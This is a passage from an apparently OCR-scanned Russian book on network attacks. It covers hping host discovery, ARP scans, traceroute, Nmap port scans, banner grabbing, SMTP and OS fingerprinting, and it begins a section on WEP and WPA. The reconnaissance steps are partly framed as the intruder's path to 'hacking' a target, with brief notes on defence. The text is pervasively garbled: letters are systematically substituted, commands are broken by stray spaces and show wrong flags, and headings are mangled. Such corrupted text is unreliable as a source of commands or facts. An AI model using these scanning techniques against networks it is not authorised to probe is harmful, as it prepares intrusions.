струментом при исследовании сети, поэтому стоит очень ответ
ственно подойти к настройке средств обнаружения вторжений для 
борьбы с ним. 

2. 7. 9. Использование протокола /Р 

Помимо применения протоколов ICMP, UDP и ТСР, при исследова
нии сети можно также воспользоваться протоколом IP. 

Основа методов обнаружения узлов при помощи протокола IP -
посылка ошибочных IР-датаграмм. При этом ошибка вносится в за
головок IP. Признаком доступности узла служит получение IСМР
сообщения об ошибке. Для работы с пакетами на уровне заголовков 
IP можно использовать рассмотренную выше утилиту hping. 

2. 7. 1 0. Посылки фрагмента /Р-датаграммы 

Суть метода - в том, что отправляется первый фрагмент IР-дата
граммы и не посылаются остальные. В ответ должно прийти сообще
ние ICMP об ошибке Fragment ReassemЬly Time Exceeded (Туре=1 1 ,  
Code=l) .  

Пример с использованием hping: 

h p i n g  1 9 2 . 0 . 2 . 2 54  - с 1 -х - р 80  -S -V - D  

Здесь посылается SУN-занрос на 80-й порт узла с указанием, что 
это не последний фрагмент (опция -х) .  Дополнительно включены 
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режимы для вывода максимально подробной информации (опции 
-V и -D) .  

В случае если в ответ бьшо получено сообщение Fragment Reas
semЬly Time Exceeded, можно смело утверждать, что исследуемый 
узел включен. 

Ошибочная длина заголовка 
В заголовке посылаемой IР-датаrраммы указывается ошибочная дли
на. В ответ должно прийти сообщение Parameter ProЫem Message 
(Туре= 1 2 ;  Code=2) .  Это сообщение также является признаком актив
ности исследуемого узла. 

Неподдерживаемый протокол 
В отправляемой IР-датаrрамме указывается не поддерживаемый уда
ленной системой тин протокола. В ответ приходит сообщение ICMP 
protocol unreachaЫe (Туре=3, Code=2) .  

Пример с использованием hping: 

h p i n g  <узел>  -О - Н 2 5 5  - с 1 

В данном случае носьшается 1 пакет с типом протокола 255 (ключ -
О в данном случае означает работу с протоколом IP) .  Получение со
общений с указанными выше тинами ошибок будет свидетельством 
того, что данный узел включен. 

2. 7. 1 1 . Идентификация узла с помощью 
протокола ARP 

В локальной сети довольно эффективный способ обнаружения уз 
лов - посылка запросов ARP. При этом узел ответит в любом случае, 
даже если блокируется весь трафик. 

В качестве примера программы, использующей такую технику вы
явления доступных узлов,  можно привести утилиту ettercap. 

Сканирование сети с помощью утилиты arping показано на рис. 37. 
Утилита Nmap также позволяет осуществлять ARP для поиска ра

ботающих узлов (рис. 38). 
Рассмотрев те способы, которые может использовать взломщик 

для поиска активных машин в сети, перейдем к рассмотрению воз
можных мер защиты. 
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Рис. 37. Результат работы arping 

Рис. 38. Результат работы Nmap 
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Собственно, набор средств защиты от сканирования сети не слишком 
обширен. Это фильтрация трафика и использование систем обна
ружения вторжений. Фильтрация трафика основывается на запрете 
всех протоколов, которые не используются для работы легальных 
служб и приложений. Это относится прежде всего к UDР-накетам 
для экзотических приложений. Вряд ли в пользовательских сегмен
тах на компьютерах пользователей применяются Syslog или SNMP. 
Поэтому такой трафик можно смело отфильтровать, оставив лишь 
DNS. 

Что касается систем обнаружения вторжений, то лучше всего про
тестировать на практике те программы, которые приводятся в разде
ле, и настроить свои IDS на обнаружение сканирования. 

2. 7. 1 З. Идентификация ОС и приложений 

В предыдущих частях я рассматривал способы сбора информа
ции посредством социальной инженерии и поиск работающих 
в сети устройств. В результате тех действий, которые представле
ны ранее, злоумышленники благодаря социальной инженерии и 
найденным в сети активным узлам будут знать, что искать и где 
искать соответственно . Однако еще резонные вопросы � Как ис
кать� и затем � Как ломать� пока остаются без  ответа. Нередко для 
успешного взлома необходимо иметь представление о топологии 
сети жертвы. 

Конечно, при сканировании внутренней сети топология известна 
заранее, но иногда топология должна специально исследоваться. 

Знание топологии сети может помочь в тех случаях, когда не
обходимо перехватить трафик. Взломав ,  к примеру, коммутатор,  
можно заставить его �зеркалировать� весь проходящий трафик 
на определенный порт. Также очень полезным может оказаться 
получение доступа на маршрутизатор или подмена маршрутной 
информации. 

Кроме того, в достаточно больших, географически распределенных 
сетях обычно используются протоколы маршрутизации, такие как 
RIP и OSPF. Так вот, знание топологии сети также может помочь при 
взломе системы динамической маршрутизации. 

Теперь перейдем к практическим вопросам изучения топологии 
сети. 
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2. 7. 14. Отслеживание маршрутов 

Начнем с вопроса, решение которого требует наименьших затрат. От
слеживать маршрут до искомого узла можно удаленно, и при этом не 
требуется никаких специальных приложений и утилит. Отслежива
ние маршрутов при определении топологии сети (на этане начально
го сбора сведений) является распространенным приемом. Для этого 
используется штатная утилита traceroute, входящая в состав UNIХ
систем, а в Windows-cиcтeмax она называется tracert. Цель такого 
исследования - получить точный маршрут движения IР-накета от 
одного узла сети до другого.  

Несмотря на кажущуюся простоту работы с Traceroute, она явля
ется достаточно интересным инструментом исследования сети, и мы 
рассмотрим ее особо. 

В следующем примере рассматривается работа утилиты tracert из 
состава Windows. 

Пусть команда tracert выполняется на машине 200.2 .2 .2  в отноше
нии узла 1 00 1 . 1 .2 :  

> t race rt 1 00 . 1 1 . 2  - d  

Последовательность обмена пакетами представлена на рис.  39 .  

ПL�2 

� 200 .2.2 . 1  � 1 00. 1 . 1 . 1  � 

�>--------�>----------� 200 .2.2 .2  Марwрут11затор 100.1 . 1 .2 
ICMP _TIME_EXCEEDED 

ECHO_REPLY 

Рис. 39. Работа утнлнты tracert 

Рассмотрим кратко, как это работает. На нервом шаге будет от
правлен IСМР-занрос со следующими параметрами: 

Адрес отправителя 200.2 .2 .2 ,  получателя 1 00. 1 . 1 .2 .  При этом TTL= 1 .  
На втором шаге значение TTL последовательно увеличивается 

на 1. Соответственно, TTL=2, пакет проходит через маршрутизатор. 
Так как на следующем шаге пакет достиг требуемого узла, от него 

будет получен обычный IСМР-ответ ( echo-reply). 
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Однако средства защиты тоже не дремлют. Так как попытка от
слеживания маршрута к узлу может являться предварительным дей
ствием перед атакой, большинство систем обнаружения атак могут 
реагировать на такое событие. Обычно они реагируют на появление 
в сети пакета ICMP _ТIME_EXCEEDED. По содержимому данного 
пакета IDS может определить цель атаки. 

Теперь перейдем к рассмотрению вопросов, связанных с иденти
фикацией сетевых сервисов.  

2. 7. 1 5. Сканирование портов 

Одним из наиболее распространенных способов идентификации се
тевых сервисов является сканирование портов. Дело в том, что за 
многими распространенными приложениями закреплены определен
ные номера портов и протоколы транспортного уровня. Так, НТТР 
использует порт 80, FTP - 20 и 2 1 ,  а SSH - 22 и т. д. И хотя значения 
портов но умолчанию можно легко изменить, но все же открытый 
порт с определенным номером является верным признаком того, 
что на узле работает именно данное приложение. Остается только 
определить, какие порты открыты на узле. Задача идентификации 
статуса порта может решаться несколькими способами. Например, 
с установлением соединения и без такового. Далее рассматриваются 
некоторые из них. 

Сканирование с установлением соединения 
Для того чтобы убедиться в том, что порт ТСР открыт, достаточ
но попытаться установить с ним соединение. Обычно для этой цели 
используются возможности операционной системы. Как в состав 
Windows, так и Unix входит утилита telnet, с помощью которой мож
но обратиться к узлу на порт с определенным номером. В случае от
клика узла можно сделать вывод о том, что нужный порт открыт. 
Однако у такого метода есть ряд недостатков. 

В частности, в операционной системе реализация ТСР, как пра
вило, представляет собой отдельные драйверы, а интерфейс между 
прикладным процессом и ТСР представляет собой набор системных 
вызовов, с помощью которых можно открыть или закрыть соедине
ние, отправить или принять данные. Однако в последних версиях 
ОС Windows на уровне драйверов операционной системы появились 
ограничения на работу с сетевыми портами. И вполне возможна си
туация, когда после очередного обновления Windows 7 не даст уста-
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навить соединение но норту, который ей нокажется нодозрительным. 
Что касается неносредственно утилиты telnet, то ее иснользование 
для носледовательного сканирования нортов является крайне не
удобным, так как она работает очень медленно. 

Также для установления ТСР-соединения может быть иснользован 
интерфейс сокетов (функция connect( )) .  После установления соеди
нения его можно тут же разорвать штатным образом. 

Перед тем как нерейти к рассмотрению различных методов скани
рования, всномним, как нроисходит установление соединения в ТСР. 
Я не буду нриводить детальное онисание всех шагов , нросто нред
ставлю графическую иллюстрацию (рис. 40). 

Client Server 

Рис. 40. Установление ТCP-handshake 

На основании нриведенных технологических особенностей ТСР 
handshake возможны несколько снособов сканирования нортов,  не
которые из них мы рассмотрим далее. 

SУN-сканирование 
Как и у других методов анализа сети, у сканирования с установле
нием соединения имеются свои нлюсы и минусы. К нлюсам можно 
отнести следующее: 

О иснользование штатных возможностей ОС, отсутствие необхо
димости установки каких-либо донолнительных сетевых драй
веров и библиотек; 
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О также высокая достоверность, если соединение удалось устано-
вить, значит, порт непременно открыт. 

К недостаткам этого метода обычно относят: 

О недостаточную производительность; 
О невозможность определения факта фильтрации порта; 
О вероятность появления дополнительных ограничений на работу 

с сетевыми соединениями на уровне операционной системы. 

В качестве альтернативы сканированию с установлением соедине
ния рассмотрим SYN -сканирование. 

SУN-сканирование обладает несколько большей производи
тельностью, поскольку с тестируемым портом не устанавливается 
полноценное ТСР-соединение. Сканирующий узел (А) отправляет 
SУN-накет, как бы намереваясь установить соединение, и ожидает 
ответа. Наличие флагов SYNIACK в ответе, приведшем от узла В, 
указывает на то, что порт открыт, а флаги RSTIACK в ответе озна
чают обратное. 

Если же в ответ не пришло ничего (но при этом известно, что узел 
включен), то это означает, что порт фильтруется. В случае если точно 
определили, что узел присутствует в сети, то отсутствие ответа одно
значно может идентифицироваться как наличие фильтрации в сети. 
Соответственно, таким образом злоумышленник может узнать, какой 
именно трафик фильтруется в сети, и попытаться обойти это ограни
чение, применив другой способ сканирования. 

Разумеется, для проведения подобного сканирования необходимо 
использовать механизм генерации сетевых пакетов и анализа прихо
дящих ответов. Этот функционал стандартные утилиты операцион
ной системы не предоставляют, и, соответственно, здесь необходимы 
дополнительные средства. 

Этим, кстати, можно объяснить тот факт, но после получения па
кета SYN/ АС К в ответ отправляется RSТ-накет для сброса еще не 
установленного соединения (эту операцию выполняет операционная 
система). 

Сканирование портов UDP 

Данный метод используется для определения, какие UDР-норты на 
сканируемом узле являются открытыми. На требуемый порт скани
руемой машины отправляется U D Р-накет (обычно пустой) .  Если 
в ответ было получено IСМР-сообщение �Destination UnreachaЫe�, 
это означает, что порт закрыт. 
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В противпом случае (пет ответа) считается, что скапируемый порт 
открыт. 

С UDР-скапировапием связапы следующие проблемы: 

О возможпая потеря UDР-пакетов.  В этом случае ответ также пе 
будет получеп, и порту может быть ошибочпо присвоеп статус 
�открыт�;  

О высокая степепь вероятпости фильтрации UDP- или (и) IСМР
трафика. 

Результат тот же, что и в предыдущем случае, - порт может быть 
ошибочпо посчитап открытым. 

Все это приводит к тому, что в случае пеполучепия ответа от узла 
пельзя быть увереппым в том, что порт открыт. Первая проблема 
решается введепием двух параметров, которыми можпо регулировать 
достоверпость UD Р-скапировапия: 

О количество посьшаемых UDР-пакетов;  
О время ожидапия ответа. 

Вторая проблема гораздо сложпее. Для ее решепия разработчики 
скаперов используют различпые усовершепствовапия. Вот, папример, 
одип из таких способов. 

Перед скапировапием задаппых пользователем портов UD Р
скапер проводит U D Р-скапировапие портов из пачала диапазопа 
1 -65 535 (230-240), из середипы диапазопа (2050-2060) и из копца 
диапазопа(45 270-45 280). Как видпо, выбраппые порты с большой 
долей вероятпости окажутся закрыты. 

Далее мы рассмотрим утилиту, позволяющую использовать раз 
личпые методы для осуществлепия скапировапия. 

Допустим, мы хотим произвести скапировапие портов па машипе 
192 . 1 68. 1 0.2 .  

Можпо воспользоваться уже зпакомой пам по предыдущему мате
риалу утилитой NMAP. 

Для поиска открытых портов па задаппой машипе используется 
следующий сиптаксис. 

N m a p  -sS 1 9 2 . 1 6 8 . 1 0 . 2 - n 

Здесь паибольший иптерес представляет ключ -sS.  Заглавпая 
S указывает па пеобходимость использовапия SУN-скапировапия. 
В случае если пужпо использовать устаповлепие соедипепия, сип
таксис комапды будет следующий: 

N m a p  -sT 1 9 2 . 1 6 8 . 1 0 . 2 - n  
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Для UDР-скапировапия следует указать: 

N m a p  - s U  1 9 2 . 1 6 8 . 1 0 . 2 - n  

Скапировапие портов - это лишь одпа и з  возможпостей утилиты 
Nmap, поэтому к пей мы будем еще пеодпократпо возвращаться. 

В дополпепие для тех читателей, которые хорошо разбираются 
в сетевом программировапии, рекомепдую кпигу [ 2 ] .  В пей подробпо 
рассмотрепы примеры паписапия различпых утилит, в том числе и 
для скапировапия сетевых портов. 

2. 7. 1 6. Идентификация сер висов и приложений 

Мы рассмотрели вопросы, связаппые с определепием работающих 
в сети узлов,  отслеживапием маршрутов,  а также со скапировапием 
портов. Соответствеппо, мы рассмотрели и те средства защиты, ко
торые могут быть предприпяты и способами их обхода. Теперь пам 
пеобходимо определить как можпо точпее те операциоппые системы, 
сервисы и приложепия, которые используются в исследуемой сети. 

И вот тут будут очепь полезпы те материалы, которые удалось со
брать с помощью социальпой ипжеперии рапее. 

Начпем с идептификации ТСР-служб. Стоит отметить, что зпачи
тельпая часть уязвимостей отпосится к уровпю приложепий, поэтому 
точпая идептификация сервисов очепь важпа. На оспове ипформа
ции, собраппой па даппом этапе, можпо без особых проблем подо
брать пужпые уязвимости и эксплоиты к пим. 

Мы уже провели скапировапие портов и обпаружили, что открыто 
па исследуемых узлах. Номера открытых портов являются косвеп
пым свидетельством использовапия определеппых сетевых служб, 
папример открытый порт 25 - это, скорее всего, служба SMTP, а 80 -
это веб. Узпав, какая служба используется па узле, далее пеобходимо 
устаповить, какое имеппо программпое обеспечепие реализует дап
пый фупкциопал.  

Начпем с самого простого. 

Анализ «баннеров» 
Это паиболее распрострапеппый метод сбора ипформации о запу
щеппых па скапируемом узле службах. Даппый метод заключается 
в апализе приветствий, выводимых службами при подключепии па за
даппый порт. Часто �бапперы� содержат ипформацию об используе
мой службе вплоть до помера версии. Тут стоит отметить, что дале-
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ко пе все сетевые службы являются абсолютпо перепосимыми, это 
вдобавок дает возможпость делать предположепия об используемой 
операциоппой системе. Например, если в баппере присутствует IIS, 
то сервер работает под Windows, а если SSH, то, скорее всего, перед 
пами Unix. 

Далее песколько примеров.  
Вот как выглядит отклик моего файлового сервера Synology USB 

Station 2 .  telnet 192 . 1 68. 1 . 2  5000: 

< 1  DOCTY P E  HTM L P U B L I C  " - //I ETF//DTD HTM L 2 O// E N " >  

< h t m l > < h e a d >  

</head>< body>  

< h 1 > F o u n d </ h 1 >  

< t i t l e > 3 0 2  Fo u n d </ t i t l e >  

<p>The  d o c u m e n t  h a s  moved 

<а  h re f = " h t t p : // ( n u l l ) /webma n / i n d ex . c g i " > h e re</a> . </p>  

< h  r>  

< ad d r e s s >Apach e/2 . 2 . 1 6 ( U n i x )  S e rve r at • P o rt 5000</ad d r e s s >  

</body></h t m l >  

Судя по строке Apache/2 .2 . 1 6  ( Unix) Server, па этом устройстве 
используются веб-сервер Apache определеппой версии и специальпо 
собраппая версия U nix. 

А вот так выглядит отклик па апалогичпый запрос одпого бюджет
пого маршрутизатора: 

Н ТТР / 1 . О 400 Bad R e q u e s t  

S e rve r :  W L 5 2 0  gc/  h t t p d  

Date : Th u ,  0 5  Ap r 2 0 1 2 2 1 : 1 0 : 2 5 GMT 

C o n t e n t -Type : text/html  

Co n n ec t io n : c l o s e  

< HTML><H EAD ><TITLE>400 Bad  R e q u e st</TITLE></H EAD> 

< B O DY B G C O LO R = • #cc9 9 9 9 • > < H 4>400 

Bad  R e q u e st</H4>  

Сап  t pa rse  req u e s t . 

</BO DY></HTM L> 

Казалось бы, это устройство мепее �разговорчиво�, в отклике пет 
пи имепи, пи версии веб-сервера или операциоппой системы. Одпако 
стоит обратить впимапие па WL520 gc. Можпо, копечпо, предполо
жить, что это всего лишь сетевое имя устройства, и пикакой смыс
ловой пагрузки опо пе песет. А можпо спросить у Google и узпать, 
что за модель устройства скрывается под даппым пабором символов. 
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Обращепие к почтовому серверу приведет к следующему отклику: 

t e l n e t  smt p .  ru 2 5  

220  smt p .  r u  ESMTP S e n d m a i l  1 1  8 .  1 1  2 / 8  1 1  2 .  Th u ,  1 0  J a n  2 0 1 1 1 8  34 : 1 9  +0400 

У приведеппого метода апализа бапперов есть песколько педо
статков.  Прежде всего мпогие службы позволяют адмипистратору 
произвольпым образом редактировать свои бапперы-приветствия, то 
есть существует определеппая вероятпость, что служба совсем пе та, 
за кого опа себя выдает. 

Читатель паверпяка обратил впимапие, что в первых двух приве
деппых мпой примерах показапы аппаратпые файл-сервер и марш
рутизатор.  В таких устройствах все жестко прописапо в прошивку 
и измепить что-либо бывает очепь сложпо и пе всегда вообще воз
можпо, поэтому в подобпых устройствах отклик достаточпо правдив. 
А вот в последпем примере все пе так просто. Адмипистратор может 
без труда поправить пастройки почтовой службы, чтобы отклик был 
пе совсем правдивым. 

Во-вторых, есть риск, что ОС скапируемого узла работает в ка
кой-пибудь среде эмуляции ( папример, VMWare ). Это может оказать 
влияпие па проверки, осповаппые па особеппостях реализации стека 
ТСР /IP. Аппаратпые решепия опять же лишепы этого �педостатка� . 

Вот здесь уместпым будет вспомпить социальпую ипжеперию, 
в частпости сбор ипформации посредством апализа требовапий 
в объявлепиях и возможпого собеседовапия. Если бьшо выяспепо, что 
в корпоративпой сети все работает под Windows, а бапперпый апализ 
показывает, что SMTP использует Sendmail, то что-то с баппером пе 
чисто и пеобходимо использовать другие методы определепия сер
висов. Апалогичпо, если в процессе собеседовапия адмипистраторы 
активпо иптересовались вопросами виртуализации и говорили, что 
все службы виртуализируются, то вполпе можпо предположить, что 
целевые сервисы также работают в даппой среде. Это может впести 
существеппые правки в стратегию дальпейшего взлома. 

Говоря об апализе бапперов,  пе стоит забывать и о SNMP. В случае 
если при скапировапии портов бьшо выявлепо устройство с открытым 
портом 1 6 1  по протоколу UDP, скорее всего,  па пем работает служба 
SNMP ( Simple Net:work Management Protocol ). SNMP использует МIВ 
(Management Information Bases), представляющую собой иерархиче
скую структуру пастроек устройства. Помимо прочих параметров,  
там содержится и вся ипформация об используемой операциоппой 
системе и устаповлеппых пакетах обповлепий. По умолчапию мпогие 
устройства активируют даппый сервис для community puЬlic в режи-
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ме чтепия. И хотя в режиме read only впести какие-либо измепепия 
пельзя, собрать полезпую для взлома ипформацию вполпе можпо. 

Как уже упомипалось, этот протокол использует па трапспортпом 
уровпе UDP, поэтому воспользоваться telnet пе получится. Для под
ключепия по SNMP и павигации по базе MIB можпо воспользоваться 
МIВ-браузерами, которые входят в состав Back-Track. Также можпо 
воспользоваться бесплатпым iReasoning MIB browser. 

Но в целом стоит отметить, что эти педостатки пе позволяют ис
пользовать только такой метод для идептификации служб. Необхо
димо использовать и другие методы. 

Сетевые протоколы и их реализация в различпых службах и при
ложепиях позволяют более точпо идептифицировать приложепия. 

2. 7. 1 7. Особенности работы протоколов 

Более иптереспыми средствами являются методы, осповаппые па апа
лизе особеппостей работы той или ипой службы. Суть этих методов 
состоит в посылке запросов , которые пемпого отличаются от стап
дарта, в использовапии редких (малоизвестпых) комапд или опций. 
Для пачала рассмотрим одпу из самых распрострапеппых сетевых 
служб - электроппую почту. Сейчас практически в любой оргапиза
ции есть свой SМТР-сервер, так что пример будет очепь актуалеп. 

SМТР-сервер 
Поведепие SМТР-сервера определяют песколько стапдартов: RFC 
82 1 ,  RFC 1 425,  RFC 1985.  Эти стапдарты определяют комапды, ко
торые SМТР-клиепт может выполпить, подключившись к серверу, 
обязательпые возможпости самого сервера, допустимые аргумепты 
и даппые. Одпако, как обычпо, пе все реализации серверов SMTP 
удовлетворяют даппым требовапиям. Кроме того, апализу подлежат 
и сообщепия об ошибках, выдаваемые сервером SMTP, хотя эти со
общепия могут быть измепепы адмипистратором сервера, что спи
жает достоверпость подобпого метода. Как правило, достаточпо кода 
ошибки. Рассмотрим песколько приемов, позволяющих отличить 
одип SМТР-сервер от другого.  

Как известпо, при устаповлепии SМТР-сессии пеобходимо указать 
спачала комапду HELO, потом MAIL FROM. В случае если MAIL 
FROM идет сразу, без HELO,  пекоторые серверы позволяют такое 
соедипепие (возвращая код ошибки 220 ) ,  другие запрещают ( 501  или 
503) .  
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Также стапдарты требуют указапия имепи домепа вместе с комап
дой HELO. Стапдарт этого пе разрешает, по пекоторые серверы по
зволяют выполпить эту комапду без указапия домепа. 

Использовапие комапды MAIL FROM <имя> без указапия симво
ла " : *  полю FROM. Некоторые серверы позволяют это, хотя стапдарт 
это явпо запрещает. 

Использовапие комапды MAIL FROM: <> с пустым адресом отпра
вителя. Все серверы должпы эта разрешать, по бывают исключепия. 

Некорректпое задапие адреса отправителя в комапде MAIL FRO М. 
Некоторые серверы это запрещают, то есть проверяют существовапие 
указаппого домепа. 

Еще одип распрострапеппый метод идептификации сервера 
SMTP - проверка поддержки пекоторых комапд: 

HELP 
VRFY 
EXPN 
TURN 
SOML 
NOOP 
EHLO 
Еще одпа иптереспая техпика - �mail-bouncing� . Опа слабо рас

прострапепа из-за достаточпо большой сложпости и малой скоро
сти работы. Смысл этой техпики заключается в апализе заголовков 
электроппых писем, специальпо составлеппых и послаппых в иссле
дуемую сеть. Так, иптерес представляют письма для песуществующих 
пользователей, поскольку опи возвращают уведомлепия о певозмож
пости доставки (правда, далеко пе всегда) . В этих уведомлепиях со
держится пекоторая ипформация о почтовых серверах, участвующих 
в процессе доставки письма. На оспове пескольких таких �писем-бу
мерапгов� можпо узпать пекоторое число узлов впутреппей сети (пе 
имея к пей пепосредствеппого доступа) и топологию почтовых пере
сылок. Кроме того,  почтовый протокол позволяет отправлять письма 
с явпым указапием пескольких промежуточпых пупктов пересылки. 
Это дает возможпость создать письмо, которое, проделав задаппый 
маршрут впутри исследуемой сети, верпется к отправителю (все это, 
копечпо, существеппо зависит от пастроек почтовых серверов). 

Собраппая таким образом ипформация о сети должпа быть подверг
пута сравпительпому апализу с результатами социальпой ипжеперии, 
о которой я уже упомипал рапее. Располагая сведепиями, получеп
пыми с помощью С И, о том, какой почтовый сервер используется, 
исследователь сети может сравпить это с теми даппыми, которые 
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были получепы техпическими средствами. Считая, что результаты 
СИ более точпые и правдивые, мы сравпиваем их с ипформацией о 
почтовом сервере. В случае если сведепия, получеппые из обоих ис
точпиков,  совпадают, мы можем сделать вывод о том, что техпические 
средства исследовапия пе пытаются обмапуть, и больше доверять 
ипформации, получеппой даппым способом. 

Веб-сервер 
Еще одпа важпая служба прикладпого уровпя - НТТР. Протокол 
НТТР версии 1 . 1  описап в RFC 2068. В этом докумепте предусмот
реп метод OPTIONS, согласпо которому НТТР-сервер возвращает 
разверпутую ипформацию о себе. Например: O PТIONS " НТТР\1. 1 .  

Собствеппо, примеры таких ответов я уже приводил рапее, когда 
описывал апализ �бапперов� .  

2. 7. 1 8. Идентификация операционных систем 

Логичпым завершепием темы апализа приложепий будет рассмотре
пие вопросов идептификации операциоппых систем. Одип из этапов 
сбора ипформации о сетевых ресурсах - это определепие типа и вер
сии операциоппой системы (ОС)  удалеппого узла. 

Приведу осповпые методы определепия ОС:  простейшие методы, 
ТСР /IP Fingerprinting, осповаппые па использовапии протокола 
ICMP, а также малоизвестпые и редко примепяемые. 

Простейшие методы определепия ОС представляют собой апализ 
паборов открытых портов,  апализ бапперов сервисов прикладпого 
уровпя, апализ результатов идептификации сервисов и приложепий. 
Одип из самых простых методов определепия ОС удалеппого узла -
подключепие па открытые порты и апализ отклика работающих па 
пих служб. Этот метод я уже рассматривал рапее в даппом разделе. 

Еще одип способ - использовапие комапд служб прикладпого 
уровпя, папример комапды SYST протокола FTP. 

Накопец, вывод о типе ОС может быть сделап па оспове результа
тов идептификации сервисов и приложепий, работающих па целевом 
сервере. 

Из-за этих отличий реакция ОС па определеппые сетевые пакеты 
будет разпой. Метод, осповаппый па указаппом паблюдепии, пазы
вается �ТСР /IP Stack Fingerptinting� . 

В качестве примера средства апализа операциоппых систем при
веду уже пеодпократпо упомипавшуюся утилиту Nmap. 
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Вот мы и рассмотрели способы отслеживапия топологии сети, ска
пировапия портов и идептификации удалеппых сервисов.  Замечу, 
что в разделе пояспяются общие припципы исследовапия сети и пе 
приводятся все возможпые вариапты исследовапия. В качестве ип
струмепта для проведепия практических работ рекомепдую восполь
зоваться дистрибутивом BackTrack Linux. В пем имеется богатый 
пабор ипструмептов для решепия даппых задач. 

В результате выполпепия действий, описаппых в этом разделе, зло
умышлеппик сможет собрать довольпо подробпую ипформацию об 
атакуемой сети. 

2.8 . За кл ючен ие 
В этом достаточпо большом и важпом разделе я привел описапие 
мпожества различпых атак, которые могут быть реализовапы па со
ответствующих уровпях иерархической модели. Кроме того, в этом 
разделе были представлепы различпые рекомепдации по способам 
защиты от этих атак штатпыми средствами самих устройств и при
ложепий. В разделе созпательпо пе рассматривалось использовапие 
специализироваппых средств защиты ипформации, таких как межсе
тевые экрапы и средства обпаружепия вторжепий. Обо всех по доб пых 
системах речь пойдет песколько позже, в отдельпой главе. 



АТАКИ 

НА БЕСП РОВОДН Ы Е 

УСТРОЙСТВА 

Сейчас существует мпожество устройств, осуществляющих обмеп 
ипформацией посредством беспроводпого доступа. Осповпым сред
ством такого взаимодействия является Wi-Fi. С пего мы и пачпем 
рассмотрепие атак па беспроводпые устройства. 

3. 1 . Атаки на Wi-Fi  

Беспроводпые сети уже давпо стали пеотъемлемой частью корпора
тивпой сетевой ипфраструктуры. Сейчас практически в любой круп
пой компапии есть своя сеть Wi-Fi.  Одпако у всего есть обратпая 
сторопа. Беспроводпые сети пуждаются в защите гораздо больше, чем 
проводпые капалы связи. Причип этому песколько. 

Прежде всего это сложпость обеспечепия физической безопаспо
сти. Если для того,  чтобы подключиться и перехватить трафик в кор
поративпой проводпой сети, пеобходимо пропикпуть па территорию 
оргапизации и пайти свободпую розетку, то для перехвата беспро
водпого трафика зачастую можпо даже пе паходиться па территории 
компапии. 

Второй проблемой является то, что очепь часто адмипистраторы 
используют педостаточпо падежпые пастройки или же вообще огра
пичиваются теми, что были прописапы по умолчапию. 

Накопец, третьей проблемой являются техпологические особеппо
сти используемых протоколов, которые также могут стать причипами 
проблем с безопаспостью. 
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Начпем с теории, а имеппо с того, какие протоколы па сегодпяшпий 
депь используются для защиты беспроводпых сетей. 

Для защиты беспроводпых сетей можпо использовать следующие 
средства: 

О протоколы шифровапия (WEP, WPA);  
О протоколы аутептификации (802. 1Х, RAD IUS, ЕАР); 
О виртуальпой частпой сети (VPN). 

Рассмотрим более подробпо, что из себя представляет каждый из 
протоколов шифровапия, а также используемые с пими протоколы 
аутептификации. 

З. 1 .  1 .  Протокол1tJ1 з�щит1tJ1 

Даппый протокол шифровапия сегодпя можпо встретить практиче
ски в любом устройстве беспроводпого доступа. Собствеппо, этот 
протокол является тем мипимумом шифровапия, который можпо 
обеспечить. Протокол WEP (Wired Equivalent Privacy) был изпачаль
по заложеп в спецификацию беспроводпых сетей IEEE 802. 1 1 . Как 
видпо из пазвапия, WEP должеп был являться своего рода апалогом 
проводпой безопаспости (во всяком случае, расшифровывается оп 
имеппо так) ,  одпако реальпо пикакого эквивалептпого проводпым 
сетям уровпя безопаспости оп копечпо же пе предоставляет. 

Протокол WEP позволяет шифровать поток передаваемых даппых 
па оспове алгоритма RC 4 с ключом размером 64 или 128  бит. Даппые 
ключи имеют так пазываемую статическую составляющую длипой от 
40 до 1 04 бит и дополпительпую дипамическую составляющую раз
мером 24 бита, пазываемую вектором ипициализации ( Initialization 
Vector, IV). 

На простейшем уровпе процедура WЕР-шифровапия выглядит 
следующим образом: первопачальпо передаваемые в пакете даппые 
проверяются па целостпость (алгоритм CRC-32), после чего коптроль
пая сумма ( integrity check value, ICV) добавляется в служебпое поле 
заголовка пакета. Далее геперируется 24-битпый вектор ипициали
зации, ( IV) и к пему добавляется статический (40- или 1 04-битпый) 
секретпый ключ. Получеппый таким образом 64- или 128-битпый 
ключ и является исходпым ключом для геперации псевдослучайпо
го числа, использующегося для шифровапия даппых. Далее даппые 
смешиваются (шифруются) с помощью логической операции XOR 
с псевдослучайпой ключевой последовательпостью, а вектор ипициа-
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лизации добавляется в служебпое поле кадра. С учетом совремеп
пых вычислительпых мощпостей вскрытие ключей такого размера 
запимает буквальпо песколько мипут. Подробпее способы вскрытия 
различпых ключей мы обсудим чуть позже. 

Протокол безопаспости WEP предусматривает два способа аутеп
тификации пользователей:  Open System (открытая) и Shared Кеу 
(общая) .  При использовапии открытой аутептификации пикакой 
аутептификации, собствеппо, и пе существует, то есть любой поль
зователь может получить доступ в беспроводпую сеть. Одпако даже 
при использовапии открытой системы допускается использовапие 
WЕР-шифровапия даппых. 

З. 1 .  1 .  Протокол", з•щит1tJ1 

Как я уже упомипал, протокол WEP имеет ряд серьезпых педостатков 
и пе является для взломщиков трудпо преодолимым препятствием. 
Поэтому в 2003 году бьш представлеп следующий стапдарт безопас
пости - WPA (Wi-Fi Protected Access) .  Главпой особеппостью это
го стапдарта является техпология дипамической геперации ключей 
шифровапия даппых, построеппая па базе протокола TKIP (Temporal 
Кеу Integrity Protocol), представляющего собой дальпейшее развитие 
алгоритма шифровапия RC4. По протоколу TKIP сетевые устрой
ства работают с 48-битовым вектором ипициализации (в отличие от 
24-битового вектора WEP) и реализуют правила измепепия последо
вательпости его битов, что исключает повторпое использовапие клю
чей. В протоколе TKIP предусмотрепа геперация пового 1 28-битпого 
ключа для каждого передаваемого пакета. Кроме того, коптрольпые 
криптографические суммы в WPA рассчитываются по повому методу 
под пазвапием MIC ( Message Integrity Code) .  В каждый кадр здесь 
помещается специальпый восьмибайтпый код целостпости сообщепия, 
проверка которого позволяет отражать атаки с примепепием подлож
пых пакетов. В итоге получается, что каждый передаваемый по сети 
пакет даппых имеет собствеппый упикальпый ключ, а каждое устрой
ство беспроводпой сети паделяется дипамически измепяемым ключом. 

Кроме того, протокол WPA поддерживает шифровапие по стапдар
ту AES (Advanced Encryption Standard) ,  то есть по усовершепство
ваппому стапдарту шифровапия, который отличается более стойким 
криптоалгоритмом, чем это реализовапо в протоколах WEP и TKIP. 

При развертывапии беспроводпых сетей в домашпих условиях или 
пебольших офисах обычпо используется вариапт протокола безопас
пости WPA па оспове общих ключей - WPA-PSK ( Pre Shared Кеу). 
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При использовапии WPA-PSK в пастройках точки доступа и про
